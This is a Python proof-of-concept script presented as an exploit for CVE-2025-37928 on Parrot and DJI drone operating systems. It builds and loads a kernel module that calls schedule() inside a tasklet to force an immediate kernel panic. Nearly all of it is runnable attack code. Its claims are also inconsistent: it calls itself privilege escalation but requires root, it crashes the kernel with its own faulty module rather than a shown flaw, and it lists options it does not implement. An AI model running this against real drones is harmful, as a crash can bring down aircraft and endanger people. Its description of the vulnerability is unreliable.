1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 |
#!/usr/bin/env python3 # Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-10 # Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M # CVE: CVE-2025-37928 # Type: Local Privilege Escalation / Kernel Panic # Platform: Linux-based drone OS (Parrot and DJI variants) # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Improper Access Control # Attack Vector: Local # User Interaction: None # Scope: Unchanged # Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic) # Exploit Code Maturity: Proof of Concept # Remediation Level: Official Fix Available # # Description: # This PoC triggers a kernel panic by calling schedule() inside an atomic context, # exploiting CVE-2025-37928 present in certain Linux kernels running on # Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems. # # Steps of exploitation: # 1. Check if running as root. # 2. Verify kernel version vulnerability. # 3. Detect drone type from system files. # 4. Build and load vulnerable kernel module. # 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context. # # Affected Drone Versions: # - Parrot QRD # - Parrot Alpha-M (DT) # - DJI QRD # - DJI Alpha-M (DT) # # ------------------------------------------------------------------------------ #Usage: # sudo python3 cve_2025_37928_tool.py [OPTIONS] # #Options: # --dry-run Run detection & build only (no module loading) # --force Force exploit even if kernel not detected as vulnerable # --cleanup-onlyRemove the kernel module without triggering panic # --verbose Enable detailed logging and debug output # --helpShow usage information # #Examples: # sudo python3 cve_2025_37928_tool.py --dry-run # sudo python3 cve_2025_37928_tool.py # sudo python3 cve_2025_37928_tool.py --force # sudo python3 cve_2025_37928_tool.py --cleanup-only # #Warning: # This PoC causes an immediate kernel panic. # Use it ONLY in isolated and controlled environments (e.g., lab tests). # ------------------------------------------------------------------------------ import os import sys import subprocess import tempfile import argparse import shutil import platform MODULE_NAME = "cve_2025_37928_poc" C_FILENAME = MODULE_NAME + ".c" KO_FILENAME = MODULE_NAME + ".ko" KERNEL_MODULE_CODE = r''' #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/sched.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("PoC Author"); MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic"); static void trigger_panic_tasklet(unsigned long data) { pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n"); schedule(); // This causes kernel panic } DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0); static int __init poc_init(void) { pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n"); tasklet_schedule(&my_tasklet); return 0; } static void __exit poc_exit(void) { tasklet_kill(&my_tasklet); pr_info("[CVE-2025-37928] PoC module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); ''' MAKEFILE_CONTENT = f''' obj-m += {MODULE_NAME}.o all: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ''' def check_root(): if os.geteuid() != 0: print("[-] Must be run as root.") sys.exit(1) def detect_kernel(): version = platform.release() vulnerable_versions = ["5.10", "5.15", "6.0"] vulnerable = any(v in version for v in vulnerable_versions) print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}") return vulnerable def detect_drone_type(): print("[*] Detecting drone type...") files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"] found = [] for path in files: if os.path.exists(path): try: with open(path, "r") as f: content = f.read().strip() if any(x in content for x in ["Parrot", "DJI"]): found.append(content) except: continue if found: for d in found: print(f"[i] Found: {d}") else: print("[!] No drone ID found.") return found def write_module(tempdir): c_path = os.path.join(tempdir, C_FILENAME) makefile_path = os.path.join(tempdir, "Makefile") with open(c_path, "w") as f: f.write(KERNEL_MODULE_CODE) with open(makefile_path, "w") as f: f.write(MAKEFILE_CONTENT) return c_path def build_module(tempdir): print("[*] Building module...") result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True) if result.returncode != 0: print("[-] Build failed:\n", result.stderr) sys.exit(1) print("[+] Build successful.") return os.path.join(tempdir, KO_FILENAME) def load_module(ko_path): print("[*] Loading kernel module...") result = subprocess.run(["insmod", ko_path], capture_output=True, text=True) if result.returncode != 0: print("[-] insmod failed:\n", result.stderr) sys.exit(1) print("[!] Module loaded. Kernel panic should occur if vulnerable.") def unload_module(): print("[*] Attempting to remove module...") subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL) print("[+] Module removal attempted.") def clean_build(tempdir): subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def main(): parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes") parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation") parser.add_argument("--force", action="store_true", help="Force execution even if version unknown") parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded") args = parser.parse_args() check_root() if args.cleanup_only: unload_module() return vulnerable = detect_kernel() detect_drone_type() if not vulnerable and not args.force: print("[-] Kernel not identified as vulnerable. Use --force to override.") sys.exit(1) if args.dry_run: print("[*] Dry run mode. Exiting before exploitation.") return with tempfile.TemporaryDirectory() as tempdir: print(f"[*] Working directory: {tempdir}") write_module(tempdir) ko_path = build_module(tempdir) try: load_module(ko_path) except KeyboardInterrupt: print("[!] Interrupted. Attempting cleanup...") finally: unload_module() clean_build(tempdir) if __name__ == "__main__": main() |